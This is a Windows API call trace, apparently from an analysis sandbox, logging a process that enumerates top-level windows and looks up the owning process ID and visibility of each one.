[0285.868] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.869] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0285.869] IsWindowVisible (hWnd=0x102e2) returned 0
[0285.869] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.869] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0285.869] IsWindowVisible (hWnd=0x102de) returned 0
[0285.869] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.869] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0285.869] IsWindowVisible (hWnd=0x102dc) returned 0
[0285.869] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0285.869] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0285.869] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0285.869] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.869] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.869] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.870] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.870] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.870] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.870] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.870] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.870] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0285.870] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0285.870] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0285.870] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0285.870] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0285.870] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0285.871] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0285.871] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0285.871] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0285.871] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0285.871] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0285.871] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0285.871] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0285.871] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0285.871] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0285.871] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0285.872] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0285.872] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0285.872] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0285.872] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0285.872] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0285.872] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0285.872] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0285.872] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0285.872] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0285.872] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0285.873] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0285.874] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0285.875] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0285.875] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0285.875] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0285.875] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0285.875] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0285.875] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0285.875] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0285.875] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0285.875] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0285.875] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0285.876] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0285.876] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0285.876] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0285.876] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0285.876] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0285.876] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0285.876] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0285.876] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0285.876] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0285.876] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0285.877] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0285.877] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0285.877] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0285.877] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0285.877] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0285.877] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0285.877] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0285.877] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0285.877] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.877] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0285.877] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.878] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0285.878] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.878] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.878] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0285.878] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.878] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.878] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0285.878] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0285.878] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0285.879] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0285.879] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0285.879] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0285.879] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0285.879] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0285.879] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.879] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.879] GetWindowThreadProcessId (in: hWnd=0x10332, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0285.879] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0285.879] GetWindowThreadProcessId (in: hWnd=0x1033c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0285.879] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0285.880] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0285.880] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0285.880] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.880] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0285.880] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0285.880] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0285.880] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0285.880] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0285.880] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0285.880] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0285.880] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0285.881] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0285.881] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0285.881] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0285.881] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0285.881] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0285.881] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0285.881] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0285.881] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0285.881] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0285.881] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0285.881] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0285.882] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0285.882] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0285.882] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0285.882] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0285.882] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0285.882] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0285.882] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0285.882] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0285.882] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0285.882] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0285.883] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0285.884] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0285.885] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0285.885] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0285.885] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0285.885] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0285.885] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0285.885] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0285.885] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0285.885] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0285.885] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0285.885] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0285.885] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0285.886] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0285.886] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0285.886] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0285.886] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0285.886] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
